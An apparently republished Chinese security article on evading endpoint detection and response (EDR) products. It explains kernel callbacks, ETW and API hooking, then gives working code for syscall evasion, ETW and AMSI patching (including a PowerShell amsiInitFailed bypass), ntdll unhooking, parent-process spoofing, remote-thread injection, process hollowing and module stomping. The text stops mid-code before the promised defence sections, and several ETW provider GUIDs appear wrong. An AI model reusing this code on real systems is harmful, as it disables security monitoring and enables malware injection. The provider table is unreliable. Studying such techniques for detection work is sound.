EDR终端对抗技术深度剖析

admin 2026-06-07 23:29:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统剖析EDR终端对抗技术,从应用层、内核层、静态、动态四大维度展开,详细阐述EDR监控体系(内核回调、ETW、API钩子)及对应的对抗技术(直接/间接系统调用、回调移除、ETW篡改、内存补丁等),提供组合战术与实战链路,并为蓝队给出检测与防御策略,最后展望技术演进趋势。 综合评分: 88 文章分类: 终端安全,红队,内网渗透,免杀,安全运营


cover_image

EDR终端对抗技术深度剖析

原创

pandazhengzheng pandazhengzheng

安全分析与研究

2026年5月17日 20:00 广东

在小说阅读器读本章

去阅读

本文从应用层、内核层、静态、动态四大维度,系统剖析 EDR 终端对抗技术的原理、实现与检测策略,为红蓝双方提供全面的技术参考。


目录

  • 一、EDR 监控体系全景
  • 二、应用层对抗技术
  • 三、内核层对抗技术
  • 四、静态对抗技术
  • 五、动态对抗技术
  • 六、对抗技术全景矩阵
  • 七、组合对抗战术与实战链路
  • 八、蓝队检测与防御策略
  • 九、实战工具与资源
  • 十、技术演进趋势与展望
  • 附录

一、EDR 监控体系全景

1.1 EDR 监控架构总览

现代 EDR 产品采用多层次、全维度的监控体系,从用户态到内核态形成完整的检测闭环:

1.2 内核回调机制

EDR 通过注册 Windows 内核回调来获取系统事件通知,这是 EDR 最基础也最关键的监控手段:

| 回调类型 | 注册函数 | 监控内容 | 数据结构 | 对应 SSRM | | — | — | — | — | — | | 进程创建 | PsSetCreateProcessNotifyRoutineEx | 新进程启动/退出 | PS_CREATE_NOTIFY_INFO | PsCreateProcess | | 线程创建 | PsSetCreateThreadNotifyRoutine | 新线程创建 | Thread ID + Process ID | PsCreateThread | | 镜像加载 | PsSetLoadImageNotifyRoutine | DLL/EXE 映像加载 | IMAGE_INFO_EX | PsLoadImage | | 文件操作 | FltRegisterCallback | 文件读写删除重命名 | FLT_CALLBACK_DATA | Mini-filter | | 注册表操作 | CmRegisterCallback | 注册表键值增删改查 | REG_CALLBACK_CONTEXT | CmRegister | | 对象管理 | ObRegisterCallbacks | 句柄操作(打开/复制) | OB_CALLBACK_CONTEXT | ObRegister |

回调函数存储结构: 回调以指针数组形式存储在内核中(如 PspCreateProcessNotifyRoutine[]),每个元素编码了回调函数地址和启用状态(最低2位为标志位:bit0=启用,bit1=是否Ex版本),实际地址 = entry & ~3

对抗思路:这些回调函数地址存储在内核内存中,理论上可以被定位并修改。但现代 EDR 会保护这些回调表,直接修改会触发 PatchGuard (KPP)。

1.3 ETW(Event Tracing for Windows)

ETW 是 Windows 内置的事件追踪系统,EDR 通过订阅特定 Provider 获取细粒度事件:

| Provider GUID | Provider 名称 | 监控内容 | 事件级别 | | — | — | — | — | | {F4A2C69D-12A7-4D73-B8F1-8F2B5E3F8D3A} | Microsoft-Windows-Threat-Intelligence | 内核行为(进程/线程/镜像加载) | Critical | | {22FB2CD6-0E7B-422B-A0C7-2F8DF4794EE0} | Microsoft-Windows-Kernel-Process | 进程生命周期事件 | Information | | {7B921740-4380-44E6-9DE6-3F4E62D1E3A0} | Microsoft-Windows-Kernel-ImageLoad | 模块加载事件 | Information | | {E7EF15BE-2D2B-419B-9E4A-5ED9C3E08D3A} | Microsoft-Windows-DotNETRuntime | .NET 运行时事件 | Information | | {647B8910-39A0-4CA7-8570-2E04D2B32E7A} | Microsoft-Antimalware-Scan-Interface | AMSI 扫描结果 | Verbose |

ETW 数据流架构:

对抗思路:ETW 事件在用户态通过 EtwEventWrite 发出,可以在此函数上下钩子或打补丁阻止事件上报;在内核态则可修改 ETW Provider 的启用标志位。

1.4 用户态 API 钩子(User-land Hooking)

EDR 在关键 API 入口处插入跳转指令(通常为 JMP 或 CALL),将执行流重定向到检测代码:

正常调用链:
┌─────────────────┐    ┌───────────────────────┐    ┌──────────┐
│ kernel32.dll    │───▶│ ntdll.dll             │───▶│ 内核     │
│ CreateProcessA │    │ NtCreateUserProcess   │    │ (syscall)│
└─────────────────┘    └───────────────────────┘    └──────────┘

被 Hook 后:
┌─────────────────┐    ┌──────────┐    ┌───────────────────────┐    ┌──────────┐
│ kernel32.dll    │───▶│ EDR 检测 │───▶│ ntdll.dll             │───▶│ 内核     │
│ CreateProcessA │    │  代码    │    │ NtCreateUserProcess   │    │ (syscall)│
└─────────────────┘    └──────────┘    └───────────────────────┘    └──────────┘

Hook 实现原理(Inline Hook / Trampoline Hook):

// EDR Hook 典型实现 - 修改ntdll函数入口
// 原始字节: 4C 8B D1 B8 XX 00 00 00  (mov r10, rcx; mov eax, syscall_num)
// Hook后:   JMP [EDR_Handler]         (5字节跳转或14字节绝对跳转)

// 32位相对跳转 (5字节, 覆盖mov r10,rcx + mov eax,SSN前5字节)
E9 XX XX XX XX    // JMP rel32

// 64位绝对跳转 (14字节, 避免跳转范围限制, 覆盖前14字节)
FF 2500000000    // JMP [rip+0]
XX XX XX XX XX XX XX XX  // 绝对地址(8字节)

// EDR Hook后的ntdll!NtWriteVirtualMemory内存布局示例:
// 偏移  字节                    含义
// 0x00  E9 3A 12 00 00         JMP rel32 → EDR Handler (被Hook)
// 0x05  90 90 90 90 90         NOP填充 (原字节被覆盖)
// 0x0A  ...                    函数剩余部分

主流 EDR Hook 覆盖范围:

| EDR 产品 | Hook 层级 | Hook 范围 | 自保护机制 | Unhook难度 | | — | — | — | — | — | | CrowdStrike Falcon | ntdll + kernel32 | 进程/线程/内存/文件/注册表 | 驱动保护+回调校验+ETW TI | ★★★★★ | | Microsoft Defender | ntdll | 进程/内存/文件/AMSI | ELAM+云协同+MPMinDriver | ★★★☆☆ | | SentinelOne | ntdll + win32k | 进程/线程/内存/注册表 | 内核回调+ETW+行为模型 | ★★★★☆ | | Carbon Black | ntdll | 进程/文件/网络 | 驱动保护+云分析 | ★★★☆☆ | | Elastic EDR | ntdll | 进程/文件/网络 | eBPF(Linux)/ETW(Windows) | ★★☆☆☆ | | Cortex XDR | ntdll + kernel32 | 进程/线程/内存/文件/注册表 | 内核回调+cyvrmtck驱动 | ★★★★★ | | Trellix (McAfee) | ntdll | 进程/内存/文件 | mfefirek驱动+AMSI | ★★★☆☆ |


二、应用层对抗技术

应用层对抗技术主要针对 EDR 在用户态部署的监控机制(API Hook、ETW 用户态上报、AMSI 扫描等),通过绕过、移除或欺骗这些监控点来规避检测。

2.1 直接系统调用(Direct Syscall)

原理:不经过被 Hook 的 ntdll.dll 导出函数,直接在代码中内联 syscall 指令进入内核,完全绕过用户态 Hook。

实现方式一:内联汇编(硬编码 SSN)

; NtAllocateVirtualMemory (SSN = 0x18 on Win10 21H2)
NtAllocateVirtualMemory:
    mov r10, rcx          ; x64调用约定: syscall需r10
    mov eax, 18h          ; 系统调用号
    syscall               ; 进入内核
    ret

局限:SSN 随 Windows 版本更新而变化,硬编码导致跨版本兼容性问题。

实现方式二:Hell’s Gate — 动态 SSN 提取

从内存中被 Hook 的 ntdll 中提取 syscall 号(Hook 通常保留 mov eax, SSN 指令):

BOOL ExtractSyscallNumber(PVOID pFunctionAddress, UINT32* pSyscallNumber) {
    BYTE* pBytes = (BYTE*)pFunctionAddress;
    // 被Hook的ntdll入口: mov r10,rcx (4C 8B D1) + mov eax,SSN (B8 XX XX XX XX)
    if (pBytes[0] == 0x4C && pBytes[1] == 0x8B && pBytes[2] == 0xD1 && pBytes[3] == 0xB8) {
        *pSyscallNumber = *(UINT32*)(pBytes + 4);
        return TRUE;
    }
    return FALSE;
}

实现方式三:Tartarus’ Gate — 从磁盘映射干净的 ntdll.dll 解析 SSN,解决 Hell’s Gate 在 Hook 覆盖了 mov eax 指令时失败的问题。

实现方式四:SysWhispers3 — 自动化 Syscall 代码生成(python syswhispers3.py -f NtAllocateVirtualMemory -o output),自动适配不同 Windows 版本,支持 Direct/Indirect 两种模式。

对抗效果对比:

| 技术方案 | SSN获取方式 | 绕过Hook | 跨版本兼容 | 实现复杂度 | 调用栈合法性 | EDR检测风险 | | — | — | — | — | — | — | — | | 硬编码SSN | 静态写死 | ✅ | ❌ | ★☆☆☆☆ | ❌ (RIP在未知内存) | ETW TI+栈回溯 | | Hell’s Gate | 内存解析被Hook的ntdll | ✅ | ✅ | ★★★☆☆ | ❌ (RIP在未知内存) | ETW TI+栈回溯 | | Tartarus’ Gate | 磁盘映射干净ntdll | ✅ | ✅ | ★★★★☆ | ❌ (RIP在未知内存) | ETW TI+栈回溯 | | SysWhispers3 | 编译时生成 | ✅ | ✅ | ★★☆☆☆ | ❌ (RIP在未知内存) | ETW TI+栈回溯 | | Halo’s Gate | 跳过Hook扫描相邻SSN | ✅ | ✅ | ★★★☆☆ | ❌ (RIP在未知内存) | ETW TI+栈回溯 |

2.2 间接系统调用(Indirect Syscall)

原理:跳转到 ntdll.dll 中原始 syscall; ret 指令的位置执行系统调用,返回地址指向 ntdll.dll 内部而非未知内存区域,使调用栈看起来合法。

Direct Syscall 调用栈:
  攻击代码区域 ◄── 返回地址指向未知内存 (EDR可检测)

Indirect Syscall 调用栈:
  攻击代码区域 ──▶ ntdll.dll!syscall;ret ◄── 返回地址指向ntdll (看起来合法)

代码实现:

// 1. 在ntdll中定位原始syscall指令地址 (扫描0F 05 C3序列)
PVOID FindSyscallInstruction(PVOID pNtFunction) {
    BYTE* ptr = (BYTE*)pNtFunction;
&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i <&nbsp;0x20; i++) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(ptr[i] ==&nbsp;0x0F&nbsp;&& ptr[i+1] ==&nbsp;0x05&nbsp;&& ptr[i+2] ==&nbsp;0xC3)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(PVOID)(ptr + i);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;NULL;
}
// 2. 设置SSN后JMP到ntdll!syscall;ret (非直接执行syscall)

Direct vs Indirect Syscall 对比:

| 对比维度 | Direct Syscall | Indirect Syscall | | — | — | — | | syscall执行位置 | 攻击代码自身(未知内存区域) | ntdll.dll 内部(合法地址范围) | | 返回地址(RIP) | 指向未知内存 → EDR栈回溯可标记 | 指向ntdll.dll → 调用栈看起来合法 | | ETW TI Provider | 可检测syscall来源不在ntdll | syscall来源在ntdll范围内 | | 调用栈回溯 | 立即暴露(RIP ∉ 已知模块) | 需深度分析才能识别 | | 实现复杂度 | 较低(仅需SSN+syscall指令) | 中等(需定位ntdll中syscall指令地址) | | 兼容性 | 高(任何Windows版本) | 中(需扫描ntdll找到syscall;ret序列) | | 绕过Hook能力 | ✅ 完全绕过用户态Hook | ✅ 完全绕过用户态Hook | | 代表工具 | SysWhispers3, Hell’s Gate | SysWhispers2/3 (indirect模式) |

2.3 ETW 补丁技术

2.3.1 用户态 ETW 补丁

定位 ntdll.dll 中的 EtwEventWrite 函数,修改其开头字节使其直接返回:

// 将EtwEventWrite修改为 xor eax,eax; ret (返回STATUS_SUCCESS)
// 比直接写ret(0xC3)更隐蔽, 调用者不会因返回值异常而报错
BOOL&nbsp;PatchEtwReturnSuccess()&nbsp;{
&nbsp; &nbsp; FARPROC pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"),&nbsp;"EtwEventWrite");
&nbsp; &nbsp; DWORD oldProtect;
&nbsp; &nbsp; VirtualProtect(pFunc,&nbsp;3, PAGE_EXECUTE_READWRITE, &oldProtect);
&nbsp; &nbsp; BYTE patch[] = {&nbsp;0x31,&nbsp;0xC0,&nbsp;0xC3&nbsp;}; &nbsp;// xor eax,eax; ret
&nbsp; &nbsp;&nbsp;memcpy(pFunc, patch,&nbsp;sizeof(patch));
&nbsp; &nbsp; VirtualProtect(pFunc,&nbsp;3, oldProtect, &oldProtect);
&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;
}

2.3.2 内核态 ETW 禁用

通过 NtTraceControl 系统调用禁用特定 ETW Provider,比用户态 patch 更底层且不易被检测。需要管理员权限,可系统级禁用 Threat-Intelligence 等关键 Provider。

ETW 对抗方案对比:

| 方案 | 作用层级 | 覆盖范围 | 隐蔽性 | 持久性 | 风险 | | — | — | — | — | — | — | | 用户态ret patch | 用户态 | 仅当前进程 | ★★☆☆☆ | 进程生命周期 | EDR可检测patch行为 | | 用户态return SUCCESS | 用户态 | 仅当前进程 | ★★★☆☆ | 进程生命周期 | 较隐蔽, 但仍可被unhook检测 | | NtTraceControl禁用 | 内核交互 | 系统级 | ★★★★☆ | 需要持续保持 | 需要管理员权限 | | 内核ETW Provider标志修改 | 内核态 | 系统级 | ★★★★★ | 持久(直到重启) | 需要驱动, 触发PatchGuard风险 |

2.4 AMSI 绕过

AMSI (Antimalware Scan Interface) 是 Windows 提供的脚本内容扫描接口,EDR 通过 AMSI 扫描 PowerShell/VBScript/JScript 等脚本内容。

2.4.1 AMSI 架构

脚本引擎 ──▶ AmsiScanBuffer() ──▶ AMSI Provider (EDR注册) ──▶ 扫描结果
&nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp;│ &nbsp;AmsiInitialize() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp;检测到恶意内容
&nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
&nbsp; &nbsp;└──────────────────────────── 返回 AMI_RESULT_DETECTED

2.4.2 常见绕过方法

方法一:修改 amsiInitFailed 标志(PowerShell)

# 强制AMSI认为初始化失败, 后续所有扫描将被跳过
$ref = [Ref].Assembly.GetTypes() | Where-Object { $_.Name -like "*Utils" }
$amsi = $ref.GetField('amsiInitFailed', 'NonPublic,Static')
$amsi.SetValue($null, $true)
# 之后所有PowerShell脚本将不再经过AMSI扫描

方法二:AmsiScanBuffer 内存补丁

// 直接修改amsi.dll!AmsiScanBuffer入口, 始终返回AMSI_RESULT_CLEAN
BOOL&nbsp;PatchAmsiScanBuffer()&nbsp;{
&nbsp; &nbsp; HMODULE hAmsi = GetModuleHandleA("amsi.dll");
&nbsp; &nbsp; FARPROC pScanBuffer = GetProcAddress(hAmsi,&nbsp;"AmsiScanBuffer");
&nbsp; &nbsp; DWORD oldProtect;
&nbsp; &nbsp; VirtualProtect(pScanBuffer,&nbsp;9, PAGE_EXECUTE_READWRITE, &oldProtect);
&nbsp; &nbsp; BYTE patch[] = {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x31,&nbsp;0xC0, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// xor eax,eax (return S_OK)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0xC6,&nbsp;0x44,&nbsp;0x24,&nbsp;0x28,&nbsp;0x00, &nbsp;&nbsp;// mov byte [rsp+0x28], 0 (result=CLEAN)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0xC2,&nbsp;0x18,&nbsp;0x00&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// ret 18h
&nbsp; &nbsp; };
&nbsp; &nbsp;&nbsp;memcpy(pScanBuffer, patch,&nbsp;sizeof(patch));
&nbsp; &nbsp; VirtualProtect(pScanBuffer,&nbsp;9, oldProtect, &oldProtect);
&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;
}

方法三:模糊化绕过 — 不修改 AMSI,通过自定义编码(XOR/ROT/Base64+分段)规避字符串特征匹配,最隐蔽但需额外解码逻辑。

AMSI 绕过方案对比:

| 方案 | 原理 | 检测难度 | 副作用 | 版本兼容性 | | — | — | — | — | — | | amsiInitFailed标志 | 修改.NET内部标志 | ★★☆☆☆ | 仅影响PowerShell | Win10+ | | Hook AmsiScanBuffer | IAT Hook替换 | ★★★☆☆ | 影响全进程AMSI调用 | 全版本 | | AmsiScanBuffer patch | 直接修改入口字节 | ★★★★☆ | 影响全进程 | 全版本 | | 模糊化/编码 | 不修改AMSI,规避特征 | ★★★★★ | 无 | 全版本 | | CLR Hook | 修改CLR内部调用 | ★★★★☆ | 仅影响.NET | .NET 4.x |

2.5 Unhooking(解除 API Hook)

2.5.1 从磁盘重新映射 ntdll.dll

// 最常用的unhooking方法: 用磁盘上干净的ntdll覆盖内存中被Hook的ntdll
BOOL&nbsp;UnhookNtdll()&nbsp;{
&nbsp; &nbsp;&nbsp;// 1. 从磁盘读取干净的ntdll.dll
&nbsp; &nbsp; HANDLE hFile = CreateFileA(
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\\??\\C:\\Windows\\System32\\ntdll.dll",
&nbsp; &nbsp; &nbsp; &nbsp; GENERIC_READ, FILE_SHARE_READ,&nbsp;NULL,
&nbsp; &nbsp; &nbsp; &nbsp; OPEN_EXISTING,&nbsp;0,&nbsp;NULL
&nbsp; &nbsp; );

&nbsp; &nbsp; HANDLE hMapping = CreateFileMappingA(hFile,&nbsp;NULL, PAGE_READONLY | SEC_IMAGE,&nbsp;0,&nbsp;0,&nbsp;NULL);
&nbsp; &nbsp; PVOID pCleanNtdll = MapViewOfFile(hMapping, FILE_MAP_READ,&nbsp;0,&nbsp;0,&nbsp;0);

&nbsp; &nbsp;&nbsp;// 2. 获取内存中当前ntdll的基地址
&nbsp; &nbsp; PVOID pHookedNtdll = GetModuleHandleA("ntdll.dll");

&nbsp; &nbsp;&nbsp;// 3. 解析PE头, 找到.text段
&nbsp; &nbsp; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(
&nbsp; &nbsp; &nbsp; &nbsp; (BYTE*)pCleanNtdll + ((PIMAGE_DOS_HEADER)pCleanNtdll)->e_lfanew
&nbsp; &nbsp; );
&nbsp; &nbsp; PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders);

&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(strcmp((char*)pSection[i].Name,&nbsp;".text") ==&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 4. 将干净的.text段覆盖到内存中
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DWORD oldProtect;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PVOID pTarget = (BYTE*)pHookedNtdll + pSection[i].VirtualAddress;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PVOID pSource = (BYTE*)pCleanNtdll + pSection[i].VirtualAddress;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SIZE_T size = pSection[i].Misc.VirtualSize;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; VirtualProtect(pTarget, size, PAGE_EXECUTE_READWRITE, &oldProtect);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;memcpy(pTarget, pSource, size);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; VirtualProtect(pTarget, size, oldProtect, &oldProtect);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp; UnmapViewOfFile(pCleanNtdll);
&nbsp; &nbsp; CloseHandle(hMapping);
&nbsp; &nbsp; CloseHandle(hFile);
&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;
}

2.5.2 从 KnownDlls 获取干净 ntdll

通过 \KnownDlls\ntdll 段对象获取干净的 ntdll 副本,优点是不需要磁盘 IO,更隐蔽。使用 NtOpenSection + NtMapViewOfSection 映射后,同样覆盖 .text 段即可恢复原始字节。

2.6 父进程 ID 欺骗(PPID Spoofing)

让恶意进程看起来是由合法进程(如 explorer.exe)启动的,伪装进程树:

// 使用PROC_THREAD_ATTRIBUTE_PARENT_PROCESS属性伪造父进程
HANDLE hParent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorerPid);

SIZE_T attrSize =&nbsp;0;
InitializeProcThreadAttributeList(NULL,&nbsp;1,&nbsp;0, &attrSize);
LPPROC_THREAD_ATTRIBUTE_LIST pAttrList = HeapAlloc(GetProcessHeap(),&nbsp;0, attrSize);
InitializeProcThreadAttributeList(pAttrList,&nbsp;1,&nbsp;0, &attrSize);
UpdateProcThreadAttribute(pAttrList,&nbsp;0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&hParent,&nbsp;sizeof(hParent),&nbsp;NULL,&nbsp;NULL);

STARTUPINFOEXA si = {&nbsp;0&nbsp;};
si.StartupInfo.cb =&nbsp;sizeof(STARTUPINFOEXA);
si.lpAttributeList = pAttrList;
CreateProcessA(NULL, exePath,&nbsp;NULL,&nbsp;NULL, FALSE,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;NULL,&nbsp;NULL, &si.StartupInfo, &pi);

2.7 进程注入技术

2.7.1 经典远程线程注入(VirtualAllocEx + CreateRemoteThread)

这是最基础的进程注入方式,每个步骤都会被 EDR 的内核回调和用户态 Hook 完整记录:

// 经典远程线程注入完整实现
BOOL&nbsp;ClassicInjection(DWORD targetPid, PBYTE shellcode, SIZE_T shellcodeSize)&nbsp;{
&nbsp; &nbsp;&nbsp;// Step 1: 打开目标进程
&nbsp; &nbsp;&nbsp;// [EDR检测点] OpenProcess会被ObRegisterCallbacks监控
&nbsp; &nbsp;&nbsp;// 若请求PROCESS_ALL_ACCESS权限, EDR可能直接拒绝或降权
&nbsp; &nbsp; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
&nbsp; &nbsp;&nbsp;if&nbsp;(!hProcess)&nbsp;return&nbsp;FALSE;

&nbsp; &nbsp;&nbsp;// Step 2: 在目标进程中分配内存
&nbsp; &nbsp;&nbsp;// [EDR检测点] VirtualAllocEx分配RWX内存会被立即标记
&nbsp; &nbsp;&nbsp;// EDR会记录: 基址、大小、属性(RWX极度可疑)
&nbsp; &nbsp; PVOID pRemoteBuf = VirtualAllocEx(hProcess,&nbsp;NULL, shellcodeSize,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;MEM_COMMIT | MEM_RESERVE,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PAGE_EXECUTE_READWRITE);
&nbsp; &nbsp;&nbsp;if&nbsp;(!pRemoteBuf)&nbsp;return&nbsp;FALSE;

&nbsp; &nbsp;&nbsp;// Step 3: 写入shellcode
&nbsp; &nbsp;&nbsp;// [EDR检测点] WriteProcessMemory会被ntdll Hook记录
&nbsp; &nbsp;&nbsp;// EDR会记录: 源地址、目标地址、写入长度
&nbsp; &nbsp;&nbsp;// 且写入内容可能被复制到EDR缓冲区进行特征扫描
&nbsp; &nbsp;&nbsp;if&nbsp;(!WriteProcessMemory(hProcess, pRemoteBuf, shellcode, shellcodeSize,&nbsp;NULL))
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;FALSE;

&nbsp; &nbsp;&nbsp;// Step 4: 创建远程线程执行
&nbsp; &nbsp;&nbsp;// [EDR检测点] CreateRemoteThread是最强检测信号
&nbsp; &nbsp;&nbsp;// EDR会记录: 线程起始地址(非模块内)、创建者进程
&nbsp; &nbsp;&nbsp;// 线程起点不在任何已加载DLL内 → 立即标记为注入
&nbsp; &nbsp; HANDLE hThread = CreateRemoteThread(hProcess,&nbsp;NULL,&nbsp;0,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(LPTHREAD_START_ROUTINE)pRemoteBuf,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;NULL,&nbsp;0,&nbsp;NULL);
&nbsp; &nbsp;&nbsp;if&nbsp;(!hThread)&nbsp;return&nbsp;FALSE;

&nbsp; &nbsp; WaitForSingleObject(hThread, INFINITE);
&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;
}

EDR 检测链路分析:

| 执行步骤 | 触发的EDR监控 | 检测严重度 | 关联分析权重 | | — | — | — | — | | OpenProcess(ALL_ACCESS) | ObRegisterCallbacks | 中 | 句柄请求权限过高 | | VirtualAllocEx(RWX) | NtAllocateVirtualMemory Hook | 高 | RWX内存分配是强信号 | | WriteProcessMemory | NtWriteVirtualMemory Hook | 高 | 跨进程内存写入 | | CreateRemoteThread | PsSetCreateThreadNotifyRoutine | 极高 | 线程起点不在合法模块内 |

结论:经典注入的每一步都会被现代 EDR 完整记录并关联分析,四步操作形成完整的注入证据链,检出率接近 100%,仅适用于教学演示。

2.7.2 进程镂空(Process Hollowing)

// 进程镂空完整实现
// 优势: 进程树看起来完全正常, 父进程是合法的系统进程

// 1. 以挂起状态创建合法进程 (关键: STARTUPINFO必须匹配目标进程)
STARTUPINFOA si = {&nbsp;sizeof(si) };
PROCESS_INFORMATION pi = {&nbsp;0&nbsp;};
CreateProcessA("C:\\Windows\\System32\\svchost.exe",&nbsp;NULL,&nbsp;NULL,&nbsp;NULL,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW,&nbsp;NULL,&nbsp;NULL, &si, &pi);

// 2. 读取PEB获取进程映像基址
// [EDR检测点] NtQueryInformationProcess可能被Hook
PROCESS_BASIC_INFORMATION pbi = {&nbsp;0&nbsp;};
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi,&nbsp;sizeof(pbi),&nbsp;NULL);
PVOID baseAddress = (PVOID)pbi.PebBaseAddress->Reserved3[1];&nbsp;// PEB.ImageBaseAddress

// 3. 取消原映像映射 (关键步骤, 使进程内存为空)
// [EDR检测点] NtUnmapViewOfSection是强信号, 合法程序极少调用
NtUnmapViewOfSection(pi.hProcess, baseAddress);

// 4. 在原基址分配内存并写入恶意PE
// [EDR检测点] VirtualAllocEx + WriteProcessMemory组合
PVOID pRemoteBase = VirtualAllocEx(pi.hProcess, baseAddress, payloadSize,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemoteBase, payload, payloadSize,&nbsp;NULL);

// 5. 修复PE重定位表 (若加载地址与PE期望基址不同)
FixRelocations(pRemoteBase, payload, (ULONG_PTR)baseAddress);

// 6. 修改线程上下文入口点并恢复执行
// [EDR检测点] SetThreadContext修改RIP是强注入信号
CONTEXT ctx = {&nbsp;0&nbsp;};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rcx = (DWORD64)((BYTE*)pRemoteBase + payloadEntryPoint);&nbsp;// 设置新的RIP
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

进程镂空 EDR 检测分析:

| 检测维度 | 检测方式 | 有效性 | 说明 | | — | — | — | — | | 内存映像不匹配 | 对比磁盘PE与内存映像哈希 | ★★★★★ | 映像被替换后哈希不匹配 | | NtUnmapViewOfSection | 监控对合法映像的Unmap操作 | ★★★★☆ | 极少合法程序会Unmap自身映像 | | 线程起点验证 | 检查主线程入口是否在映像范围内 | ★★★★★ | 入口点偏移与PE头不匹配 | | 内存属性变更 | 监控RWX分配+SetContext组合 | ★★★★☆ | 操作序列构成注入模式 |

2.7.3 模块镂空(Module Stomping / DLL Hollowing)

将 Shellcode 写入远程进程中已加载 DLL 的代码段(.text section),不分配新内存区域,不会触发”未支持的内存”检测,内存扫描时该区域仍关联到合法 DLL 模块。

// 1. 在远程进程加载无害DLL (如version.dll) 作为宿主
// 2. 枚举远程进程模块, 定位宿主DLL基地址
HMODULE hRemoteDll = FindRemoteModule(hProcess,&nbsp;"version.dll");
// 3. 解析PE头定位.text段, 覆盖为shellcode
PIMAGE_SECTION_HEADER pTextSection = GetSectionHeader(hRemoteDll,&nbsp;".text");
PVOID pRemoteText = (BYTE*)hRemoteDll + pTextSection->VirtualAddress;
// 4. 修改属性→写入→恢复属性
DWORD oldProtect;
VirtualProtectEx(hProcess, pRemoteText, size, PAGE_EXECUTE_READWRITE, &oldProtect);
